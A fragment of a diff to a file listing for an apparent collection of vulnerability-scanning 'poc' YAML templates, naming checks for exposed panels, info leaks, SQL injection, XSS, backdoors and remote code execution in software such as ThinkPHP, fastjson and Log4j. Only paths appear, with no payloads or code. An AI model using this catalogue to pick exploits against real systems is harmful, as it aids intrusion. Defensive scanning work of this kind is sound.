./poc/other/yandexnews-feed-by-teplitsa-299f13fe73aa8b11cca2e264a3b46f61.yaml ./poc/other/yandexnews-feed-by-teplitsa.yaml ./poc/other/yarn-lock-11727.yaml -./poc/other/yarn-lock-11728.yaml ./poc/other/yarn-lock-11729.yaml ./poc/other/yarn-lock-11730.yaml ./poc/other/yatra-cbaa3d03ba7367a64c11c6690f1f36b8.yaml @@ -81412,12 +81910,13 @@ ./poc/other/z-downloads-b66f566f59564af0ab02d18ddeb7643f.yaml ./poc/other/z-downloads.yaml ./poc/other/z-url-preview.yaml +./poc/other/zabbix-dashboards-access-11754.yaml ./poc/other/zabbix-dashboards-access-11755.yaml ./poc/other/zabbix-dashboards-access-11756.yaml -./poc/other/zabbix-dashboards-access-11757.yaml ./poc/other/zabbix-dashboards-access.yaml -./poc/other/zabbix-error-11764.yaml ./poc/other/zabbix-error-11765.yaml +./poc/other/zabbix-error-11766.yaml +./poc/other/zabbix-error.yaml ./poc/other/zabbix-installer.yaml ./poc/other/zabbix-workflow.yaml ./poc/other/zabbix.yaml @@ -81526,6 +82025,7 @@ ./poc/other/zhiyuan-fileRead.yaml ./poc/other/zhiyuan-oa-info-leak-11797.yaml ./poc/other/zhiyuan-oa-info-leak-11798.yaml +./poc/other/zhiyuan-oa-info-leak-11799.yaml ./poc/other/zhiyuan-oa-info-leak-11800.yaml ./poc/other/zhongan-xdecision.yaml ./poc/other/zhongshengsoft-crm.yaml @@ -81657,8 +82157,8 @@ ./poc/other/zte-zxsec统一安全网关.yaml ./poc/other/zuitu.yaml ./poc/other/zuul-panel-11842.yaml -./poc/other/zuul-panel-11843.yaml ./poc/other/zuul-panel.yaml +./poc/other/zuul-panel.yml ./poc/other/zwave2mqtt-health-check.yaml ./poc/other/zxoa.yaml ./poc/other/zynith-seo-c67809f2b75c0c3748139b755f72d5eb.yaml @@ -81854,9 +82354,9 @@ ./poc/perl/libwww-perl-daemon.yaml ./poc/perl/perl-scanner.yaml ./poc/perl/perl-status-9485.yaml -./poc/perl/perl-status-9486.yaml ./poc/perl/perl-status-9487.yaml ./poc/perl/perl-status-page.yaml +./poc/perl/perl-status.yaml ./poc/perl/superlist-5da18e3bfe18177f7ef82fb6ae815fe6.yaml ./poc/perl/superlist-ca628bb2dee1036910f5dc781a4bf2d7.yaml ./poc/perl/superlist-d41d8cd98f00b204e9800998ecf8427e.yaml @@ -81923,7 +82423,6 @@ ./poc/php/bsphp-nauthorized-access.yaml ./poc/php/btoptionscom-hbr_php-sqli.yaml ./poc/php/clockwork-php-page-1017.yaml -./poc/php/clockwork-php-page-1018.yaml ./poc/php/clockwork-php-page-1019.yaml ./poc/php/clockwork-php-page.yaml ./poc/php/cmseasy-crossall-act-php-sql-injection.yaml @@ -81991,11 +82490,11 @@ ./poc/php/php-cloud.yaml ./poc/php/php-compatibility-checker-6ccfa1173ea8d8bb60dea773c2a9425a.yaml ./poc/php/php-compatibility-checker.yaml +./poc/php/php-composer-binary.yaml ./poc/php/php-cs-cache.yaml ./poc/php/php-csl.yaml ./poc/php/php-debug-bar-9504.yaml ./poc/php/php-debug-bar-9506.yaml -./poc/php/php-debug-bar-9507.yaml ./poc/php/php-debug-bar.yaml ./poc/php/php-debugbar-exposure.yaml ./poc/php/php-errors-9508.yaml @@ -82022,7 +82521,7 @@ ./poc/php/php-fpm-status-9515.yaml ./poc/php/php-fpm-status-9516.yaml ./poc/php/php-fpm-status.yaml -./poc/php/php-ini-9524.yaml +./poc/php/php-ini-9523.yaml ./poc/php/php-ini.yaml ./poc/php/php-layers.yaml ./poc/php/php-link-directory.yaml @@ -82043,27 +82542,26 @@ ./poc/php/php-shell.yaml ./poc/php/php-support-tickets.yaml ./poc/php/php-symfony-debug.yaml +./poc/php/php-timeclock-xss-9550.yaml ./poc/php/php-timeclock-xss-9551.yaml ./poc/php/php-timeclock-xss-9552.yaml ./poc/php/php-timeclock-xss-9553.yaml -./poc/php/php-timeclock-xss-9554.yaml +./poc/php/php-timeclock-xss.yaml ./poc/php/php-to-page-e4781ed7ffbbfa6cd8ed7141a7a77596.yaml ./poc/php/php-to-page.yaml ./poc/php/php-user-ini-disclosure-1.yaml ./poc/php/php-user-ini-disclosure-2.yaml -./poc/php/php-user-ini-disclosure-9559.yaml +./poc/php/php-user-ini-disclosure-9560.yaml ./poc/php/php-user-ini-disclosure-9561.yaml ./poc/php/php-user-ini-disclosure.yaml ./poc/php/php-user-ini.yaml ./poc/php/php-voting-system.yaml -./poc/php/php-warning-9562.yaml ./poc/php/php-warning-9563.yaml ./poc/php/php-warning.yaml -./poc/php/php-zerodium-backdoor-rce-9569.yaml +./poc/php/php-zerodium-backdoor-rce-9570.yaml ./poc/php/php-zerodium-backdoor-rce-9571.yaml ./poc/php/php-zerodium-backdoor-rce-9572.yaml ./poc/php/php-zerodium-backdoor-rce-9573.yaml -./poc/php/php-zerodium-backdoor-rce.yaml ./poc/php/php-zerodium-backdoor.yaml ./poc/php/php.yaml ./poc/php/php168cms.yaml @@ -82074,10 +82572,10 @@ ./poc/php/phpcms-cve-2018-19127.yml ./poc/php/phpcms.yaml ./poc/php/phpcollab-detect-9500.yaml -./poc/php/phpcollab-detect-9501.yaml ./poc/php/phpcollab-detect.yaml ./poc/php/phpcollab-panel.yaml ./poc/php/phpcollab-workflow-9502.yaml +./poc/php/phpcollab-workflow-9503.yaml ./poc/php/phpcollab.yaml ./poc/php/phpdealerlocator.yaml ./poc/php/phpdenora.yaml @@ -82103,10 +82601,10 @@ ./poc/php/phpinfo-7.yaml ./poc/php/phpinfo-8.yaml ./poc/php/phpinfo-9.yaml -./poc/php/phpinfo-9517.yaml ./poc/php/phpinfo-9518.yaml ./poc/php/phpinfo-9519.yaml ./poc/php/phpinfo-9520.yaml +./poc/php/phpinfo-9521.yaml ./poc/php/phpinfo-9522.yaml ./poc/php/phpinfo-disclosure-env.yaml ./poc/php/phpinfo-disclosure.yaml @@ -82128,6 +82626,7 @@ ./poc/php/phpmyadmin-cve-2018-12613-file-inclusion.yml ./poc/php/phpmyadmin-default-login-extended.yaml ./poc/php/phpmyadmin-default-page.yaml +./poc/php/phpmyadmin-misconfiguration.yaml ./poc/php/phpmyadmin-panel-1.yaml ./poc/php/phpmyadmin-panel-10.yaml ./poc/php/phpmyadmin-panel-11.yaml @@ -82145,6 +82644,7 @@ ./poc/php/phpmyadmin-panel-9528.yaml ./poc/php/phpmyadmin-panel.yaml ./poc/php/phpmyadmin-server-import.yaml +./poc/php/phpmyadmin-setup(1).yaml ./poc/php/phpmyadmin-setup-11857.yaml ./poc/php/phpmyadmin-setup-9529.yaml ./poc/php/phpmyadmin-setup-9530.yaml @@ -82155,7 +82655,6 @@ ./poc/php/phpmyadmin-setup-deserialization.yml ./poc/php/phpmyadmin-setup.yaml ./poc/php/phpmyadmin-sql-9534.yaml -./poc/php/phpmyadmin-sql-9535.yaml ./poc/php/phpmyadmin-sql-9536.yaml ./poc/php/phpmyadmin-sql.php-server-1.yaml ./poc/php/phpmyadmin-sql.php-server-2.yaml @@ -82181,7 +82680,6 @@ ./poc/php/phppgadmin-panel-9540.yaml ./poc/php/phppgadmin-panel-9541.yaml ./poc/php/phppgadmin-panel-9542.yaml -./poc/php/phppgadmin-panel-9543.yaml ./poc/php/phppgadmin-panel.yaml ./poc/php/phppgadmin-workflow.yaml ./poc/php/phppgadmin.yaml @@ -82202,14 +82700,13 @@ ./poc/php/phpsword-favicon-manager.yaml ./poc/php/phpsysinfo.yaml ./poc/php/phpunit-9555.yaml -./poc/php/phpunit-9556.yaml +./poc/php/phpunit-9557.yaml ./poc/php/phpunit-9558.yaml ./poc/php/phpunit-cve-2017-9841-rce.yml ./poc/php/phpunit-result-cache-exposure.yaml ./poc/php/phpweb.yaml ./poc/php/phpwiki-lfi-9564.yaml ./poc/php/phpwiki-lfi-9565.yaml -./poc/php/phpwiki-lfi-9566.yaml ./poc/php/phpwiki-lfi-9567.yaml ./poc/php/phpwiki-lfi-9568.yaml ./poc/php/phpwiki-workflow.yaml @@ -82226,6 +82723,7 @@ ./poc/php/ruijie-eg-tool-view-phpinfo-infoleak.yaml ./poc/php/ruijie-eg-update-php-rce.yaml ./poc/php/ruijie-phpinfo-9950.yaml +./poc/php/ruijie-phpinfo-9951.yaml ./poc/php/ruijie-phpinfo-9952.yaml ./poc/php/ruijie-phpinfo-9953.yaml ./poc/php/samphpweb.yaml @@ -82245,7 +82743,9 @@ ./poc/php/shiziyu-cms-wxapp.php-Anyfileupload.yaml ./poc/php/simplesamlphp-authentication-f3c175d78e12da649ab69deea15f1f42.yaml ./poc/php/simplesamlphp-authentication.yaml +./poc/php/simplesamlphp-detect.yaml ./poc/php/symfony-phpinfo.yaml +./poc/php/thinkphp-2-rce-10738.yaml ./poc/php/thinkphp-2-rce-10739.yaml ./poc/php/thinkphp-2-rce-10740.yaml ./poc/php/thinkphp-2-rce-10741.yaml @@ -82257,7 +82757,6 @@ ./poc/php/thinkphp-5022-5129-rce.yaml ./poc/php/thinkphp-5022-rce-10744.yaml ./poc/php/thinkphp-5022-rce-10745.yaml -./poc/php/thinkphp-5022-rce-10746.yaml ./poc/php/thinkphp-5022-rce-10747.yaml ./poc/php/thinkphp-5023-rce-10749.yaml ./poc/php/thinkphp-5023-rce-10750.yaml @@ -82296,7 +82795,6 @@ ./poc/php/tongda-oa-v2017-video-file-php-filedownload.yaml ./poc/php/tongda-oa-wbupload-php-fileupload.yaml ./poc/php/tosec-jumpserver-admin-php-sqli.yaml -./poc/php/twig-php-ssti-10856.yaml ./poc/php/twig-php-ssti-10857.yaml ./poc/php/twig-php-ssti-10858.yaml ./poc/php/twig-php-ssti-10859.yaml @@ -82322,7 +82820,6 @@ ./poc/php/wp-php-widget.yaml ./poc/php/wp-phpfreechat-xss-11524.yaml ./poc/php/wp-phpfreechat-xss-11526.yaml -./poc/php/wp-phpfreechat-xss-11527.yaml ./poc/php/wp-phpfreechat-xss-11528.yaml ./poc/php/wp-phpfreechat-xss-11529.yaml ./poc/php/wp-phpfreechat-xss.yaml @@ -82350,13 +82847,12 @@ ./poc/python/autobahn-python-detect-592.yaml ./poc/python/autobahn-python-detect-593.yaml ./poc/python/autobahn-python-detect-594.yaml -./poc/python/autobahn-python-detect-595.yaml +./poc/python/autobahn-python-detect.yaml ./poc/python/default-django-page-6840.yaml -./poc/python/default-django-page-6841.yaml ./poc/python/default-django-page-6842.yaml ./poc/python/default-django-page-6843.yaml +./poc/python/django-admin-panel-7021.yaml ./poc/python/django-admin-panel-7022.yaml -./poc/python/django-admin-panel-7023.yaml ./poc/python/django-admin-panel.yaml ./poc/python/django-debug-detect-7024.yaml ./poc/python/django-debug-detect-7025.yaml @@ -82368,6 +82864,7 @@ ./poc/python/django-debug-exposure-7028.yaml ./poc/python/django-debug-exposure-7029.yaml ./poc/python/django-debug-exposure-7030.yaml +./poc/python/django-debug-exposure-7031.yaml ./poc/python/django-debug-exposure-csrf.yaml ./poc/python/django-debug-exposure.yaml ./poc/python/django-debug-toolbar.yaml @@ -82378,7 +82875,6 @@ ./poc/python/django-directory-traversal.yaml ./poc/python/django-framework-exceptions-7033.yaml ./poc/python/django-framework-exceptions-7034.yaml -./poc/python/django-framework-exceptions.yaml ./poc/python/django-rest-framework.yaml ./poc/python/django-secret.key.yaml ./poc/python/django-variables-exposed.yaml @@ -82390,14 +82886,13 @@ ./poc/python/jupyter-ipython-unauth-8404.yaml ./poc/python/jupyter-ipython-unauth-8405.yaml ./poc/python/jupyter-ipython-unauth.yaml -./poc/python/python-app-sql-exceptions.yaml +./poc/python/python-app-sql-exceptions-9744.yaml +./poc/python/python-metrics-9745.yaml ./poc/python/python-metrics-9746.yaml ./poc/python/python-metrics-9747.yaml -./poc/python/python-metrics.yaml ./poc/python/python-phish.yaml -./poc/python/python-scanner.yaml +./poc/python/python-scanner-9748.yaml ./poc/rabbitmq/rabbitmq-config-exposure.yml -./poc/rabbitmq/rabbitmq-dashboard-9776.yaml ./poc/rabbitmq/rabbitmq-dashboard-9777.yaml ./poc/rabbitmq/rabbitmq-dashboard-9778.yaml ./poc/rabbitmq/rabbitmq-dashboard-9779.yaml @@ -82411,6 +82906,7 @@ ./poc/rabbitmq/rabbitmq-default-login-9786.yaml ./poc/rabbitmq/rabbitmq-default-password.yaml ./poc/rabbitmq/rabbitmq-default-password.yml +./poc/rabbitmq/rabbitmq-detect.yaml ./poc/rabbitmq/rabbitmq-exporter-metrics.yaml ./poc/rabbitmq/rabbitmq-missing-auth.yaml ./poc/rabbitmq/rabbitmq-workflow-9787.yaml @@ -82434,8 +82930,10 @@ ./poc/redis/redis-exception-error.yaml ./poc/redis/redis-honeypot-detect.yaml ./poc/redis/redis-honeypot-detection.yaml +./poc/redis/redis-info.yaml ./poc/redis/redis-missing-auth.yaml ./poc/redis/redis-pass-brute.yaml +./poc/redis/redis-require-auth.yaml ./poc/redis/redis-server.yaml ./poc/redis/redis.yaml ./poc/remote_code_execution/74cms-Template-Injection-rce.yaml @@ -82471,7 +82969,6 @@ ./poc/remote_code_execution/Jenkins-RCE.yaml ./poc/remote_code_execution/Jupyter-Notebook-Unauthorized-Access-Rce.yaml ./poc/remote_code_execution/Kingsoft-rce.yaml -./poc/remote_code_execution/Landray OA treexml.tmpl Script RCE.yaml ./poc/remote_code_execution/M1Server-rce.yaml ./poc/remote_code_execution/Metabase_validate_RCE.yaml ./poc/remote_code_execution/Mingyu_Security_Gateway_RCE.yaml @@ -82625,12 +83122,14 @@ ./poc/remote_code_execution/apache-druid-kafka-connect-rce.yaml ./poc/remote_code_execution/apache-filename-brute-force-353.yaml ./poc/remote_code_execution/apache-filename-brute-force.yaml -./poc/remote_code_execution/apache-flink-unauth-rce-355.yaml +./poc/remote_code_execution/apache-flink-unauth-rce-356.yaml ./poc/remote_code_execution/apache-flink-unauth-rce-357.yaml ./poc/remote_code_execution/apache-flink-unauth-rce-358.yaml ./poc/remote_code_execution/apache-flink-unauth-rce-359.yaml +./poc/remote_code_execution/apache-flink-unauth-rce.yaml ./poc/remote_code_execution/apache-flink-upload-rce.yml ./poc/remote_code_execution/apache-httpd-cve-2021-41773-rce.yml +./poc/remote_code_execution/apache-httpd-rce-362.yaml ./poc/remote_code_execution/apache-httpd-rce-363.yaml ./poc/remote_code_execution/apache-httpd-rce.yaml ./poc/remote_code_execution/apache-ofbiz-log4j-rce.yaml @@ -82791,7 +83290,7 @@ ./poc/remote_code_execution/choice-payment-gateway-for-woocommerce-5989797b3de4a7d046b22faa41f147a5.yaml ./poc/remote_code_execution/choice-payment-gateway-for-woocommerce-6477bf18cad6c823db485408d49b337b.yaml ./poc/remote_code_execution/choice-payment-gateway-for-woocommerce.yaml -./poc/remote_code_execution/cisco-cloudcenter-suite-log4j-rce.yaml +./poc/remote_code_execution/cisco-cloudcenter-suite-rce.yaml ./poc/remote_code_execution/cisco-rv-series-rce.yaml ./poc/remote_code_execution/clearpay-gateway-for-woocommerce-450f3fa1fdfaa0d436f04229a0397315.yaml ./poc/remote_code_execution/clearpay-gateway-for-woocommerce-d41d8cd98f00b204e9800998ecf8427e.yaml @@ -82802,6 +83301,7 @@ ./poc/remote_code_execution/clockwatch-enterprise-rce-1008.yaml ./poc/remote_code_execution/clockwatch-enterprise-rce-1009.yaml ./poc/remote_code_execution/clockwatch-enterprise-rce-1011.yaml +./poc/remote_code_execution/clockwatch-enterprise-rce.yaml ./poc/remote_code_execution/co2ok-for-woocommerce-111032b9706968c14c7d64c4f7dfc20e.yaml ./poc/remote_code_execution/co2ok-for-woocommerce-5a72e600d911398f0a295fcf76a6c0a4.yaml ./poc/remote_code_execution/co2ok-for-woocommerce-6477bf18cad6c823db485408d49b337b.yaml @@ -82815,7 +83315,6 @@ ./poc/remote_code_execution/co2ok-for-woocommerce.yaml ./poc/remote_code_execution/code42-log4j-rce-1130.yaml ./poc/remote_code_execution/code42-log4j-rce-1131.yaml -./poc/remote_code_execution/code42-log4j-rce-1132.yaml ./poc/remote_code_execution/codup-woocommerce-dynamic-pricing-table-view-0524990b8a93f2e726c050d49aa0b22e.yaml ./poc/remote_code_execution/codup-woocommerce-dynamic-pricing-table-view-3574e2251d76d53bdcc685462fdb0300.yaml ./poc/remote_code_execution/codup-woocommerce-dynamic-pricing-table-view-d41d8cd98f00b204e9800998ecf8427e.yaml @@ -82850,7 +83349,7 @@ ./poc/remote_code_execution/core-chuangtian-cloud-rce-1208.yaml ./poc/remote_code_execution/core-chuangtian-cloud-rce-1209.yaml ./poc/remote_code_execution/core-chuangtian-cloud-rce-1210.yaml -./poc/remote_code_execution/core-chuangtian-cloud-rce-1212.yaml +./poc/remote_code_execution/core-chuangtian-cloud-rce-1211.yaml ./poc/remote_code_execution/core-chuangtian-cloud-rce.yaml ./poc/remote_code_execution/cost-of-goods-for-woocommerce-29aeaa3c6bb2e136205e4a60d94d44f4.yaml ./poc/remote_code_execution/cost-of-goods-for-woocommerce-84437759dc0054a2151b596050fb41e0.yaml @@ -83088,6 +83587,7 @@ ./poc/remote_code_execution/elex-woocommerce-google-product-feed-plugin-basic.yaml ./poc/remote_code_execution/elex-woocommerce-xss-7199.yaml ./poc/remote_code_execution/elex-woocommerce-xss-7200.yaml +./poc/remote_code_execution/elex-woocommerce-xss.yaml ./poc/remote_code_execution/elfinder-rce.yaml ./poc/remote_code_execution/email-customizer-for-woocommerce-2a0fbc617737467a0c1230deb2588849.yaml ./poc/remote_code_execution/email-customizer-for-woocommerce.yaml @@ -83156,8 +83656,6 @@ ./poc/remote_code_execution/eyou-email-rce-7378.yaml ./poc/remote_code_execution/eyou-email-rce-7379.yaml ./poc/remote_code_execution/eyou-email-rce-7380.yaml -./poc/remote_code_execution/eyou-email-rce-7381.yaml -./poc/remote_code_execution/eyou-email-rce-7382.yaml ./poc/remote_code_execution/eyou-email-rce.yaml ./poc/remote_code_execution/eyou-mail-moni-detail-rce.yaml ./poc/remote_code_execution/f5-tmui-cve-2020-5902-rce.yml @@ -83174,30 +83672,28 @@ ./poc/remote_code_execution/fastjson-1-2-24-rce-1.yaml ./poc/remote_code_execution/fastjson-1-2-24-rce-2.yaml ./poc/remote_code_execution/fastjson-1-2-24-rce-7400.yaml +./poc/remote_code_execution/fastjson-1-2-24-rce.yaml ./poc/remote_code_execution/fastjson-1-2-41-rce-7401.yaml ./poc/remote_code_execution/fastjson-1-2-41-rce-7403.yaml ./poc/remote_code_execution/fastjson-1-2-41-rce-7404.yaml ./poc/remote_code_execution/fastjson-1-2-42-rce-7405.yaml -./poc/remote_code_execution/fastjson-1-2-42-rce-7407.yaml ./poc/remote_code_execution/fastjson-1-2-42-rce-7408.yaml -./poc/remote_code_execution/fastjson-1-2-42-rce.yaml ./poc/remote_code_execution/fastjson-1-2-43-rce-7409.yaml ./poc/remote_code_execution/fastjson-1-2-43-rce-7411.yaml ./poc/remote_code_execution/fastjson-1-2-43-rce-7412.yaml ./poc/remote_code_execution/fastjson-1-2-47-rce-7413.yaml ./poc/remote_code_execution/fastjson-1-2-47-rce-7415.yaml ./poc/remote_code_execution/fastjson-1-2-47-rce-7416.yaml +./poc/remote_code_execution/fastjson-1-2-47-rce.yaml ./poc/remote_code_execution/fastjson-1-2-62-rce-7417.yaml ./poc/remote_code_execution/fastjson-1-2-62-rce-7419.yaml ./poc/remote_code_execution/fastjson-1-2-62-rce-7420.yaml -./poc/remote_code_execution/fastjson-1-2-62-rce.yaml ./poc/remote_code_execution/fastjson-1-2-67-rce-7421.yaml ./poc/remote_code_execution/fastjson-1-2-67-rce-7423.yaml ./poc/remote_code_execution/fastjson-1-2-67-rce-7424.yaml ./poc/remote_code_execution/fastjson-1-2-68-rce-1.yaml ./poc/remote_code_execution/fastjson-1-2-68-rce-2.yaml ./poc/remote_code_execution/fastjson-1-2-68-rce-3.yaml -./poc/remote_code_execution/fastjson-1-2-68-rce-7425.yaml ./poc/remote_code_execution/fastjson-1-2-68-rce.yaml ./poc/remote_code_execution/fastjson-1.2.24-rce-1.yaml ./poc/remote_code_execution/fastjson-1.2.24-rce-2.yaml @@ -83277,7 +83773,6 @@ ./poc/remote_code_execution/gitlab-rce-7691.yaml ./poc/remote_code_execution/gitlab-rce-7692.yaml ./poc/remote_code_execution/gitlab-rce-7693.yaml -./poc/remote_code_execution/gitlab-rce.yaml ./poc/remote_code_execution/gitlist-rce-cve-2018-1000533.yml ./poc/remote_code_execution/gitlistrce.yaml ./poc/remote_code_execution/giveaways-for-woocommerce-6477bf18cad6c823db485408d49b337b.yaml @@ -83308,7 +83803,6 @@ ./poc/remote_code_execution/h3c-imc-rce.yml ./poc/remote_code_execution/hanta-rce.yaml ./poc/remote_code_execution/hashicorp-consul-rce-7890.yaml -./poc/remote_code_execution/hashicorp-consul-rce-7891.yaml ./poc/remote_code_execution/hashicorp-consul-rce-7892.yaml ./poc/remote_code_execution/hashicorp-consul-rce-7893.yaml ./poc/remote_code_execution/hashicorp-consul-rce-7894.yaml @@ -83347,6 +83841,7 @@ ./poc/remote_code_execution/icewarp-webclient-rce-8130.yaml ./poc/remote_code_execution/icewarp-webclient-rce-8131.yaml ./poc/remote_code_execution/icewarp-webclient-rce-8132.yaml +./poc/remote_code_execution/icewarp-webclient-rce-8133.yaml ./poc/remote_code_execution/image-source-control-isc-1f038aef0dcbd62c1999c43ff0e6ea69.yaml ./poc/remote_code_execution/image-source-control-isc-1f88dbd2b9c2d6237e296e8c6c1659c5.yaml ./poc/remote_code_execution/image-source-control-isc.yaml @@ -83382,7 +83877,7 @@ ./poc/remote_code_execution/jetapo-with-woocommerce-theme.yaml ./poc/remote_code_execution/jetapo-with-woocommerce.yaml ./poc/remote_code_execution/jetbrains-datasources-8290.yaml -./poc/remote_code_execution/jetbrains-datasources-8291.yaml +./poc/remote_code_execution/jetbrains-datasources.yaml ./poc/remote_code_execution/jinhe-oa-c6-rce.yaml ./poc/remote_code_execution/jolokia-acceslogvalve-rce.yaml ./poc/remote_code_execution/jolokia-createstandardhost-rce.yaml @@ -83427,6 +83922,7 @@ ./poc/remote_code_execution/landray-ekp-datajson-js-rce.yaml ./poc/remote_code_execution/landray-oa-custom-jsp-rce.yaml ./poc/remote_code_execution/landray-oa-syssearchmain-rce.yaml +./poc/remote_code_execution/landray-oa-treexml-rce.yaml ./poc/remote_code_execution/lanhai-jifei-debug-rce.yaml ./poc/remote_code_execution/lanhaizhuoyue-debug-rce.yaml ./poc/remote_code_execution/laojiumen-caipiao-rce.yaml @@ -83494,7 +83990,7 @@ ./poc/remote_code_execution/membership-for-woocommerce.yaml ./poc/remote_code_execution/metersphere-plugin-rce-8835.yaml ./poc/remote_code_execution/metersphere-plugin-rce-8836.yaml -./poc/remote_code_execution/metersphere-plugin-rce-8837.yaml +./poc/remote_code_execution/metersphere-plugin-rce.yaml ./poc/remote_code_execution/mgb-opensource-guestbook.yaml ./poc/remote_code_execution/microblogrce.yaml ./poc/remote_code_execution/min-and-max-purchase-for-woocommerce-29c59921f159dd1fd640d027a39c2496.yaml @@ -83518,6 +84014,7 @@ ./poc/remote_code_execution/mobileiron-log4j-jndi-rce-8904.yaml ./poc/remote_code_execution/mobileiron-log4j-jndi-rce-8905.yaml ./poc/remote_code_execution/mobileiron-log4j-jndi-rce-8906.yaml +./poc/remote_code_execution/mobileiron-log4j-jndi-rce.yaml ./poc/remote_code_execution/mobileiron-log4j-rce.yaml ./poc/remote_code_execution/mollie-payments-for-woocommerce-4bac8ef79fa2143bfefd78ff69deef1d.yaml ./poc/remote_code_execution/mollie-payments-for-woocommerce.yaml @@ -83612,8 +84109,7 @@ ./poc/remote_code_execution/opentsdb-rce-1.yaml ./poc/remote_code_execution/opentsdb-rce-2.yaml ./poc/remote_code_execution/optilink-ont1gew-gpon-rce-9341.yaml -./poc/remote_code_execution/optilink-ont1gew-gpon-rce-9343.yaml -./poc/remote_code_execution/optilink-ont1gew-gpon-rce.yaml +./poc/remote_code_execution/optilink-ont1gew-gpon-rce-9342.yaml ./poc/remote_code_execution/oracle-commerce-cloud.yaml ./poc/remote_code_execution/order-and-inventory-manager-for-woocommerce-6477bf18cad6c823db485408d49b337b.yaml ./poc/remote_code_execution/order-and-inventory-manager-for-woocommerce-cb43a3033745f9235059b7d1b7a3d855.yaml @@ -83640,9 +84136,9 @@ ./poc/remote_code_execution/order-xml-file-export-import-for-woocommerce-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/remote_code_execution/order-xml-file-export-import-for-woocommerce-plugin.yaml ./poc/remote_code_execution/order-xml-file-export-import-for-woocommerce.yaml -./poc/remote_code_execution/oscommerce-rce-9405.yaml ./poc/remote_code_execution/oscommerce-rce-9406.yaml ./poc/remote_code_execution/oscommerce-rce-9407.yaml +./poc/remote_code_execution/oscommerce-rce-9408.yaml ./poc/remote_code_execution/oscommerce-workflow.yaml ./poc/remote_code_execution/oscommerce.yaml ./poc/remote_code_execution/out-of-stock-display-for-woocommerce-6477bf18cad6c823db485408d49b337b.yaml @@ -83694,8 +84190,8 @@ ./poc/remote_code_execution/pbootcms-v3.1.2-rce.yaml ./poc/remote_code_execution/pdf-invoices-and-packing-slips-for-woocommerce-9d530be5fa0db61096efe68f160be112.yaml ./poc/remote_code_execution/pdf-invoices-and-packing-slips-for-woocommerce.yaml -./poc/remote_code_execution/pdf-signer-ssti-to-rce-9470.yaml ./poc/remote_code_execution/pdf-signer-ssti-to-rce-9471.yaml +./poc/remote_code_execution/pdf-signer-ssti-to-rce-9472.yaml ./poc/remote_code_execution/pdf-signer-ssti-to-rce.yaml ./poc/remote_code_execution/perfect-woocommerce-brands-7f5741480217fb4df85d3b4de3f502cb.yaml ./poc/remote_code_execution/perfect-woocommerce-brands-e32d6103a8131017699f2d0178c74f2a.yaml @@ -83712,10 +84208,11 @@ ./poc/remote_code_execution/persian-woocommerce.yaml ./poc/remote_code_execution/personalize-woocommerce-cart-page-2fdb24aa9ae64e31a599b3c204eb919c.yaml ./poc/remote_code_execution/personalize-woocommerce-cart-page.yaml +./poc/remote_code_execution/pgsql-extensions-rce.yaml ./poc/remote_code_execution/phalcon-framework-source-9493.yaml ./poc/remote_code_execution/phalcon-framework-source-9494.yaml ./poc/remote_code_execution/phalcon-framework-source-9495.yaml -./poc/remote_code_execution/phalcon-framework-source.yaml +./poc/remote_code_execution/phalcon-framework-source-9496.yaml ./poc/remote_code_execution/phone-orders-for-woocommerce-5f600e44d5a9bae2880bbdac987c18c0.yaml ./poc/remote_code_execution/phone-orders-for-woocommerce-754324d17136d5a0b95bd48018ce3ad6.yaml ./poc/remote_code_execution/phone-orders-for-woocommerce-a18b8eeee685e84b7ab5bc1637d15598.yaml @@ -83725,11 +84222,10 @@ ./poc/remote_code_execution/phone-orders-for-woocommerce-plugin.yaml ./poc/remote_code_execution/phone-orders-for-woocommerce.yaml ./poc/remote_code_execution/php-8.1.0-dev-rce-sqli.yaml -./poc/remote_code_execution/php-zerodium-backdoor-rce-9569.yaml +./poc/remote_code_execution/php-zerodium-backdoor-rce-9570.yaml ./poc/remote_code_execution/php-zerodium-backdoor-rce-9571.yaml ./poc/remote_code_execution/php-zerodium-backdoor-rce-9572.yaml ./poc/remote_code_execution/php-zerodium-backdoor-rce-9573.yaml -./poc/remote_code_execution/php-zerodium-backdoor-rce.yaml ./poc/remote_code_execution/phprce.yaml ./poc/remote_code_execution/phpstudy-backdoor-rce.yaml ./poc/remote_code_execution/phpstudy-backdoor-rce.yml @@ -83748,7 +84244,6 @@ ./poc/remote_code_execution/powercreator-cms-rce-9643.yaml ./poc/remote_code_execution/powercreator-cms-rce-9644.yaml ./poc/remote_code_execution/powercreator-cms-rce-9645.yaml -./poc/remote_code_execution/powercreator-cms-rce-9646.yaml ./poc/remote_code_execution/powercreator-cms-rce-9647.yaml ./poc/remote_code_execution/pre-orders-for-woocommerce-687db182b0c9655d84523f55416267f1.yaml ./poc/remote_code_execution/pre-orders-for-woocommerce.yaml @@ -83891,10 +84386,11 @@ ./poc/remote_code_execution/purple-xmls-google-product-feed-for-woocommerce.yaml ./poc/remote_code_execution/qi-anxin-netkang-next-generation-firewall-rce-9755.yaml ./poc/remote_code_execution/qi-anxin-netkang-next-generation-firewall-rce-9756.yaml +./poc/remote_code_execution/qi-anxin-netkang-next-generation-firewall-rce-9757.yaml ./poc/remote_code_execution/qi-anxin-netkang-next-generation-firewall-rce-9758.yaml ./poc/remote_code_execution/qi-anxin-netkang-next-generation-firewall-rce-9759.yaml ./poc/remote_code_execution/qi-anxin-netkang-next-generation-firewall-rce-9760.yaml -./poc/remote_code_execution/qi-anxin-netkang-next-generation-firewall-rce.yaml +./poc/remote_code_execution/qi-anxin-netkang-next-generation-firewall-rce-9761.yaml ./poc/remote_code_execution/qianxin-secgate3600-syshandupfile-upload-rce.yaml ./poc/remote_code_execution/qilin-bastion-host-rce.yaml ./poc/remote_code_execution/qilin-bastion-host-rce.yml @@ -83912,7 +84408,6 @@ ./poc/remote_code_execution/qvisdvr-deserialization-rce-9772.yaml ./poc/remote_code_execution/qvisdvr-deserialization-rce-9773.yaml ./poc/remote_code_execution/qvisdvr-deserialization-rce-9775.yaml -./poc/remote_code_execution/qvisdvr-deserialization-rce.yaml ./poc/remote_code_execution/racar-clear-cart-for-woocommerce-5bd5aa842bdc4d50b077cba9da1f3c12.yaml ./poc/remote_code_execution/racar-clear-cart-for-woocommerce-6477bf18cad6c823db485408d49b337b.yaml ./poc/remote_code_execution/racar-clear-cart-for-woocommerce.yaml @@ -83997,9 +84492,9 @@ ./poc/remote_code_execution/salesforce-aura-9981.yaml ./poc/remote_code_execution/salesforce-aura-9982.yaml ./poc/remote_code_execution/salesforce-aura-9983.yaml -./poc/remote_code_execution/salesforce-aura-9984.yaml ./poc/remote_code_execution/salesforce-aura-detect.yml 